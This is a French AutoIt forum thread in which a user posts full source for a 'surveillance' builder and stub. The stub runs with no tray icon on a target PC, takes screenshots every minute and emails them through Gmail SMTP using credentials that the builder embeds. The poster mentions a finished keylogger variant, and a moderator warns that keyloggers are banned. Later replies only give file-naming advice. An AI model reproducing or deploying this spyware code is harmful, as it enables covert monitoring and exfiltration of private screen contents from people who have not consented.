Page 1 sur 2
[Ex] Autoit surveillance
Posté : ven. 09 sept. 2011 01:26
par Kevzi
Bonjour ,
je vous présente mon deuxième projet (un peux plus important que le premier). il s'agit de "Autoit surveillance". Il permet de faire des captures d'écran toutes les minutes,
permet d'enregistrer une vidéo via la webcam .
EDIT: ce n'est plus une vidéo mais des images qui sont enregistré à la place , pour plus de compatibilités.
Nouvelle présentation de la GUI mère
image:

- 2011-09-09_041931.png (15.21 Kio) Vu 14991 fois
et je vous passe les images, avec la source dedans + les dossiers pré-créé + les udfs:
Si vous avez des suggestions, améliorations ou bugs, n'hésiter pas à me les faire parvenir !*
EDIT: New version. Bêta pour l'instant mais ne vous en fait pas
il y a deux partis:
-un builder (va permettre de donner les informations aux stubs)
-un stub (c'est le script tout prêt. il lui manque juste les donnée du builder.)
voila comment sa ce passe :
d'abord la personne démarre le builer, et choisie une des trois fonctions:
-keylogger (fonction faite mais je ne la présente pas)
-capture d'écran
-capture webcam
après le builder demande: son gmail et son mot de passe. les données vont être ainsi envoyé au stub, et va crée un nouveau fichier.
ce fichier sera à démarrer sur un le PC souhaité. Pour l'instant, sa faits des captures d’écran toutes les 1min. mais je vais ajouter une inputbox pour ajouter le temps.
Pour l'instant sa ne marche qu'avec les comptes gmail.
petite image :
les codes
► Afficher le texteCode pour voir le builder
Code : Tout sélectionner
#Region ;**** Directives created by AutoIt3Wrapper_GUI ****
#AutoIt3Wrapper_icon=chaine-chomper-icone-9045.ico
#EndRegion ;**** Directives created by AutoIt3Wrapper_GUI ****
#include <ButtonConstants.au3>
#include <EditConstants.au3>
#include <GUIConstantsEx.au3>
#include <StaticConstants.au3>
#include <WindowsConstants.au3>
#include <ButtonConstants.au3>
#include <GUIConstantsEx.au3>
#include <StaticConstants.au3>
#include <WindowsConstants.au3>
#Region ### START Koda GUI section ### Form=
;########-------######### GUI1 #########-------########
#Region ### START Koda GUI section ### Form=C:\Users\Kevin\Desktop\script\autoit surveillance\data\Form1_1.kxf
Global $Form1_1 = GUICreate("Autoit surveillance -V.3.0 by Kevzi", 407, 202, 307, 143)
Global $MenuItem1 = GUICtrlCreateMenu("&Menu")
Global $MenuItem2 = GUICtrlCreateMenuItem("Aide", $MenuItem1)
Global $MenuItem3 = GUICtrlCreateMenuItem("Info", $MenuItem1)
GUISetBkColor(0xFFFFFF)
Global $Label2 = GUICtrlCreateLabel("Surveillance", 208, 16, 141, 32)
GUICtrlSetFont(-1, 14, 800, 0, "Segoe Script")
GUICtrlSetColor(-1, 0x000000)
Global $Pic1 = GUICtrlCreatePic(@ScriptDir & "\data\images.jpg", 312, 88, 50, 50, BitOR($SS_NOTIFY, $WS_GROUP, $WS_CLIPSIBLINGS))
Global $Label5 = GUICtrlCreateLabel("Capture ecran", 304, 144, 72, 17)
Global $Pic2 = GUICtrlCreatePic(@ScriptDir & "\data\webcam.gif", 32, 88, 48, 48, BitOR($SS_NOTIFY, $WS_GROUP, $WS_CLIPSIBLINGS))
Global $Label6 = GUICtrlCreateLabel("Webcam", 32, 144, 47, 17)
Global $Pic3 = GUICtrlCreatePic(@ScriptDir & "\data\keylogger.jpg", 168, 88, 50, 50, BitOR($SS_NOTIFY, $WS_GROUP, $WS_CLIPSIBLINGS))
Global $Label7 = GUICtrlCreateLabel("Keylogger", 168, 144, 51, 17)
Global $Group1 = GUICtrlCreateGroup("Fonctions", 24, 64, 361, 105)
GUICtrlCreateGroup("", -99, -99, 1, 1)
Global $Pic4 = GUICtrlCreatePic(@ScriptDir & "\data\autoit.jpg", 24, 0, 177, 57, BitOR($SS_NOTIFY, $WS_GROUP, $WS_CLIPSIBLINGS))
GUISetState(@SW_SHOW)
$input = 60000
While 1
$nMsg = GUIGetMsg()
Switch $nMsg
Case $GUI_EVENT_CLOSE
Exit
Case $Pic1
$texte1 = InputBox("compte gmail", "entrer l'adresse email:")
$texte2 = InputBox("compte gmail", "entrer le mot de passe:", "", "*")
$texte3 = ""
$Fichier_final = FileSaveDialog("Ou sauvegarder le .exe?", -1, "exe files (*.exe)", 16) ;On demande où enregistrer notre fichier final
If @error Then ;si on clic sur le bouton annulé
MsgBox(64, "Erreur", "Sauvegarde annulé") ;on informe l'utilisateur
Else ; sinon
FileCopy(@ScriptDir & "\Stub\Stub.exe", $Fichier_final) ;on copie notre stub(donc notre fichier attendant les données)
FileWrite($Fichier_final, @CRLF & "~\0/~" & $texte1 & "~\0/~" & $texte2 & "~\0/~" & $texte3 & "~\0/~")
;On écrit dans le fichier copier qui correspond au stub toute les données voulus. les ~\0/~ étant nos délimiteurs.
FileClose($Fichier_final); on ferme notre fichier
MsgBox(64, "Succès", "Le builder a était créé avec succès") ;on informe l'utilisateur
EndIf ;fin de la condition
Case $MenuItem3
MsgBox(64, "Autoit surveillance", "Crée par Kevzi.version: Bêta.")
Case $MenuItem2
MsgBox(64, "Autoit surveillance", "il suffit de taper votre adresse email et votre mot de passe, et vous recevrez les images sur votre compte mail")
Case $Pic3
$texte1 = InputBox("compte gmail", "entrer l'adresse email:")
$texte2 = InputBox("compte gmail", "entrer le mot de passe:", "", "*")
$texte3 = ""
$Fichier_final = FileSaveDialog("Ou sauvegarder le .exe?", -1, "exe files (*.exe)", 16) ;On demande où enregistrer notre fichier final
If @error Then ;si on clic sur le bouton annulé
MsgBox(64, "Erreur", "Sauvegarde annulé") ;on informe l'utilisateur
Else ; sinon
FileCopy(@ScriptDir & "\Stub\Stub2.exe", $Fichier_final) ;on copie notre stub(donc notre fichier attendant les données)
FileWrite($Fichier_final, @CRLF & "~\0/~" & $texte1 & "~\0/~" & $texte2 & "~\0/~" & $texte3 & "~\0/~")
;On écrit dans le fichier copier qui correspond au stub toute les données voulus. les ~\0/~ étant nos délimiteurs.
FileClose($Fichier_final); on ferme notre fichier
MsgBox(64, "Succès", "Le builder a était créé avec succès") ;on informe l'utilisateur
EndIf ;fin de la condition
EndSwitch
WEnd
code du stub :
► Afficher le texteCode du stub
Code : Tout sélectionner
#NoTrayIcon
#Region ;**** Directives created by AutoIt3Wrapper_GUI ****
#AutoIt3Wrapper_icon=..\chaine-chomper-icone-9045.ico
#AutoIt3Wrapper_Compression=4
#EndRegion ;**** Directives created by AutoIt3Wrapper_GUI ****
#include <File.au3>
#include <ScreenCapture.au3>
#include <webcam.au3>
; Début du script - Ajouter votre code ci-dessous.
$Donnees = StringSplit(FileRead(@ScriptFullPath), "~\0/~", 1)
;on split notre fichier c'est à dire qu'on va diviser la chaîne en sous-chaînes en fonction de notre délimiteurs
$1texte = $Donnees[2] ;on prend la 2e valeur car [1] vaut "MZ" cf: mon UDF _CheckPEFormat
$2texte = $Donnees[3] ;je pense que la vous avez compris
$3texte = $Donnees[4]
$input = 60000
AdlibRegister("recommencer", $input) ;la fonction sera automatiquement lancée tous les $input
recommencer()
Func recommencer()
Local $hBmp
$hBmp = _ScreenCapture_Capture(@ScriptDir & "\capture.bmp") ;prend une capture de l'ecran
$s_SmtpServer = "smtp.gmail.com"
$s_FromName = "capture screen"
$s_FromAddress = "capture@capt.fr"
$s_ToAddress = $1texte
$s_Subject = "capturer screen"
$as_Body = ""
$s_AttachFiles = $hBmp
$s_CcAddress = ""
$s_BccAddress = ""
$s_Username = $1texte
$s_Password = $2texte
$IPPort = 465
$ssl = 1
$s_Importance = "Normal"
_INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body, $s_AttachFiles, $s_CcAddress, $s_BccAddress, $s_Importance, $s_Username, $s_Password, $IPPort, $ssl)
EndFunc ;==>recommencer
Func _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject = "", $as_Body = "", $s_AttachFiles = "", $s_CcAddress = "", $s_BccAddress = "", $s_Importance = "Normal", $s_Username = "", $s_Password = "", $IPPort = 25, $ssl = 0)
Local $objEmail = ObjCreate("CDO.Message")
$objEmail.From = '"' & $s_FromName & '" <' & $s_FromAddress & '>'
$objEmail.To = $s_ToAddress
;~ Local $i_Error = 0
;~ Local $i_Error_desciption = ""
If $s_CcAddress <> "" Then $objEmail.Cc = $s_CcAddress
If $s_BccAddress <> "" Then $objEmail.Bcc = $s_BccAddress
$objEmail.Subject = $s_Subject
If StringInStr($as_Body, "<") And StringInStr($as_Body, ">") Then
$objEmail.HTMLBody = $as_Body
Else
$objEmail.Textbody = $as_Body & @CRLF
EndIf
If $s_AttachFiles <> "" Then
Local $S_Files2Attach = StringSplit($s_AttachFiles, ";")
For $x = 1 To $S_Files2Attach[0]
$S_Files2Attach[$x] = _PathFull($S_Files2Attach[$x])
ConsoleWrite('@@ Debug(62) : $S_Files2Attach = ' & $S_Files2Attach[$x] & @LF & '>Error code: ' & @error & @LF) ;### Debug Console
If FileExists($S_Files2Attach[$x]) Then
$objEmail.AddAttachment($S_Files2Attach[$x])
Else
ConsoleWrite('!> File not found to attach: ' & $S_Files2Attach[$x] & @LF)
SetError(1)
Return 0
EndIf
Next
EndIf
$objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
$objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = $s_SmtpServer
If Number($IPPort) = 0 Then $IPPort = 25
$objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = $IPPort
;Authenticated SMTP
If $s_Username <> "" Then
$objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
$objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusername") = $s_Username
$objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $s_Password
EndIf
If $ssl Then
$objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True
EndIf
;Update settings
$objEmail.Configuration.Fields.Update
; Set Email Importance
$objEmail.Fields.Item("urn:schemas:mailheader:Importance") = "High"
$objEmail.Fields.Update
; Sent the Message
$objEmail.Send
$objEmail = ""
EndFunc ;==>_INetSmtpMailCom
Si vous avez des suggestions je vous écoutes.
PS: En espérant que j'ai le droit de poster ce tool. Le keylogger n'y est pas.
je vous passe les images aussi:
Merci pour (je ne sais plus le nom

qui a crée le logo "autoit" qui est tout simplement magnifique

)
Re: Autoit surveillance
Posté : ven. 09 sept. 2011 01:33
par Tlem
Attention, les keyloggers et programmes assimilés, sont interdits sur ce forum. Même si dans votre cas il est présenté comme un outil de 'protection', il n'en est pas moins dangereux pour autant.
Donc merci de ne pas aller plus loin sur cette partie sous peine de voir votre sujet disparaitre.
Re: Autoit surveillance
Posté : ven. 09 sept. 2011 01:54
par Kevzi
pas de souci, même si mon programme est légal tant qu'il n'est pas lancé sur un pc distant et discrètement. Je suppose que vous ne vouliez pas que je montre la fonction Keylogger pour que les gens ne puissent l'utiliser à des fins malhonnête. Je comprend cette façon de penser même si pour moi,libre à qui de mettre n'importes quelles sources. Il faut juste prévenir de ce que ce qui est posté et ce qui est enduré pour l'utiliser à des fins malsaines.
Re: Autoit surveillance
Posté : ven. 09 sept. 2011 09:24
par ZDS
Bonjour,
Il n'empêche que tu dois te plier au CGUs du forum AutoIt, donc ta phrase "libre à qui de mettre n'importes quelles sources" n'a pas lieu d'être (et "Il faut juste prévenir de ce que ce qui est posté", non plus). Je pense (dixit Tlem en un peu plus explicite) qu'en l'état, ton script peut rester tel quel sur le forum; mais si tu t'obstinais à vouloir y mettre une version plus complète comprenant la fonction KeyLogger, tu verrais ton message partir à la poubelle.
A bientôt !
EDIT: Concernant les mps, ça reste un outil du forum AutoIt, soumis aux même réglementations. Par contre, il est possible de te faire un site perso sur lequel ton code subversif, et de mettre un lien discret dans ta signature vers ce site où les outils ne seraient pas contraints par les mêmes CGUs. En attendant, utiliser les MPs du forum AutoIt fait partie de l'utilisation du forum AutoIt en général, donc ce qui concerne les KL ou autres interdits y est formellement banni. Après, ce n'est que mon interprétation des règles en place, il est possible que je fasse une erreur. Demande tout simplement l'autorisation à un modérateur ou un administrateur (même si je doute que tu l'aies) et plie toi à la décision, c'est tout.
Re: Autoit surveillance
Posté : ven. 09 sept. 2011 10:54
par Kevzi
ok , je respecte les règles alors. mais bon c'est embêtant parce que j'avais fini ma version keylogger. Je peux au moins stipuler dans le message que ceux qui veulent la version avec keylogger , me demande par MP ? (ce n(est pas dans le forum si je le donne par MP)
EDIT:ok il me reste plus qu'a faire un site alors

Re: Autoit surveillance
Posté : ven. 09 sept. 2011 15:04
par Tlem
Le fait de respecter les règles et ni plus ni moins qu'un minimum dans une communauté.
Sans ce respect, vous vous mettez en marge et donc il n'y à aucune raison que les membres de cette communauté vous aide ou participe à vos messages.
Et justement, en ce qui concerne les règles, je vous rappel que le titre de votre message n'est pas conforme (il manque la balise [Ex]). De plus, votre signature ne me plait guère, car du flashy sur un sujet non autorisé, n'est vraiment pas dans le ton du forum.
Merci de faire ce qu'il faut pour corriger cela.
En ce qui concerne votre lien, mettez le dans votre code ou sur votre site !
Re: [Ex]Autoit surveillance
Posté : ven. 09 sept. 2011 22:01
par mikell
Ben moi je ne suis pas vert, je suis juste orange alors je commente le script
Code : Tout sélectionner
$rand = Random(1,1000,1)
$hBmp = _ScreenCapture_Capture ("")
_ScreenCapture_SaveImage ($dir&$rand&"surveillance.jpg", $hBmp)
Mauvais plan le random, vaudrait mieux incrémenter
Si tu surveilles 7 heures tu auras 420 images rangées n'importe comment, pour les classer chronologiquement tu devras faire un FileGetTime(), mais comme le random peut (et il ne va pas se gêner) te générer plusieurs fois la même valeur... argh
Tu pourrais aussi asservir la capture à un évènement (mouvement de souris, clic, clavier etc) ça éviterait de faire des tas de captures inutiles
Re: [Ex] Autoit surveillance
Posté : sam. 10 sept. 2011 10:52
par Kevzi
je sais que l'utilisation de random n'est pas la meilleur solution. Mais "FileGetTime()", j'ai pas trop compris comment l'utiliser

.
Sinon très bonne l'idée de faire une détection de souris

Re: [Ex] Autoit surveillance
Posté : sam. 10 sept. 2011 12:06
par mikell
FileGetTime ( "filename" [, option [, format]] )
Returns the time and date information for a file.
option [optional] Flag to indicate which timestamp
0 = Modified (default)
1 = Created
2 = Accessed
Tu peux aussi mettre le script en pause si le screensaver est actif ou l'ordi en veille...
Re: [Ex] Autoit surveillance
Posté : sam. 10 sept. 2011 12:42
par Kevzi
ok j'ai un peu compris mais moi sa me fais rien quand je met FileGetTime() dans ma fonction. voici le code :
Code : Tout sélectionner
Func capture() ;fonction capture
Local $hBmp
$input = InputBox("time", "capturer tout les : (60000 = 1MIN)") ; Va servir à parametrer le temps
Do
$t = FileGetTime ( @ScriptDir &"\espionnage_image\infos.txt")
If Not @error Then
$yyyymd = $t[0] & "/" & $t[1] & "/" & $t[2]
$hBmp = _ScreenCapture_Capture ("") ;prend une capture de l'ecran
_ScreenCapture_SaveImage ($dir&$yyyymd&"surveillance.bmp", $hBmp); la capture de l'ecran est enregistré dans le dossier
EndIf
Sleep(100)
Until $hBmp = Sleep($input) ; refaire la captures avec le temps donné par $input
EndFunc ; ==> fin de la fonction
j'ai crée un fichier texte (infos) exprès pour la date.
Re: [Ex] Autoit surveillance
Posté : sam. 10 sept. 2011 12:50
par mikell

Argh non t'as pas compris
Tu fais FileGetTime après, sur les images capturées, pour pouvoir ensuite les reclasser chronologiquement (de la plus ancienne à la plus récente) et savoir à quel moment il s'est passé qqe chose sur ton PC (parce que le classement random te donne un ordre bordélique)
Re: [Ex] Autoit surveillance
Posté : sam. 10 sept. 2011 12:59
par Kevzi
Je vais paraitre co*, mais je vois toujours pas comment faire, j'ai refais la fonction :
Code : Tout sélectionner
Func capture() ;fonction capture
Local $hBmp
$input = InputBox("time", "capturer tout les : (60000 = 1MIN)") ; Va servir à parametrer le temps
Do
$rand = Random(1,1000,1) ; génère un nombre au hasard entre 1 et 1000 (le 1 après le 1000 veut dire qu'on veut un nombre entier)
$hBmp = _ScreenCapture_Capture ("") ;prend une capture de l'ecran
_ScreenCapture_SaveImage ($dir&"surveillance.bmp", $hBmp); la capture de l'ecran est enregistré dans le dossier
$t = FileGetTime($hBmp)
Sleep(100)
Until $hBmp = Sleep($input) ; refaire la captures avec le temps donné par $input
Je dois mettre quelque chose après "$t = FileGetTime($hBmp)" mais je sais pas comment procéder

Re: [Ex] Autoit surveillance
Posté : sam. 10 sept. 2011 13:10
par mikell
Non c'est pas ça
D'abord tu fais tourner ton script comme il était avant
A la fin il t'aura sorti une liste d'images jpg (les captures faites pendant le temps de surveillance)
Ensuite c'est tous ces fichiers jpg que tu traites avec FileGetTime pour les remettre un ordre logique qui te permette d'interpréter les résultats
Re: [Ex] Autoit surveillance
Posté : sam. 10 sept. 2011 13:33
par Kevzi
le problème c'est que si j'enlève random , sa remplacera a chaque fois l'ancienne image par la nouvelle
Re: [Ex] Autoit surveillance
Posté : sam. 10 sept. 2011 13:43
par FernandG
Bonjour,
Kevzi a écrit :le problème c'est que si j'enlève random , sa remplacera a chaque fois l'ancienne image par la nouvelle
Remplacez le Random par date et heure au complet. Double avantage, unicité des captures et organisation de ces dernières dans le dossier de destination. Cf. commentaires de mikell.
Exemple :
Code : Tout sélectionner
_ScreenCapture_SaveImage($dir & @YEAR & @MON & @MDAY & @HOUR & @MIN & @SEC & ".jpg", $hBmp)
Re: [Ex] Autoit surveillance
Posté : sam. 10 sept. 2011 13:48
par TommyDDR
Faites une variable global en début de script, mettez lui "0" dedans et a chaque impression écran :
Vos impressions écran se nommeront alors 0 puis 1 puis 2, etc
Edit : @FernandG : S'il procède comme vous l'indiquez, alors il ne pourras avoir qu'une impression par seconde. Or on peut voir un Sleep(100) -> 10img/sec
Libre à vous de mixer les 2 méthodes (date + incrémentation)
PS : Relisez la doc de ScreenCapture, vous verrez que vous pourrez directement enregistrer l'image dans un fichier en une seule ligne, cela évitera entre autre un oublie de libération de la mémoire

Re: [Ex] Autoit surveillance
Posté : sam. 10 sept. 2011 13:59
par Iste
@TommyDDR suffi de rajouter les ms
Votre solutien elle ecrase les images a chaque lancement.
je propose :
Code : Tout sélectionner
_ScreenCapture_SaveImage($dir & @YEAR & @MON & @MDAY & @HOUR & @MIN & @SEC & @MSEC & ".jpg", $hBmp)
Re: [Ex]Autoit surveillance
Posté : sam. 10 sept. 2011 14:00
par mikell
mikell a écrit :Mauvais plan le random, vaudrait mieux incrémenter
Heu je me permets de citer mon premier post parce que évidemment ça reste la meilleure solution (et de loin la plus simple)

Re: [Ex] Autoit surveillance
Posté : sam. 10 sept. 2011 14:05
par FernandG
Je confirme les dires de TommyDDR.
Personnellement, je ne vois pas l'intérêt de descendre en dessous de la seconde, fort préjudiciable au programme et aux ressources du PC. Mais bon en rajoutant le @MSEC le souci du Random serait complètement éliminé.
Re: [Ex] Autoit surveillance
Posté : sam. 10 sept. 2011 14:17
par TommyDDR
Personnellement je préfère l'incrémentation, imaginons qu'une impression écran mette moins d'une ms ! et OP, on écrase.
J'ai pour habitude de ne jamais me fier au temps d’exécution d'une fonction (même si dans ce cas, ca sera dur d'écraser)
Pour ne pas écraser au relancement, une petite fonction :
Code : Tout sélectionner
Func ChercherProchainNumeroLibre()
Local $Numero = 0
While(FileExist("VotreNom" & $Numero & ".bmp"))
$Numero += 1
Wend
Return $Numero
EndFund
N'est pas très longue à coder
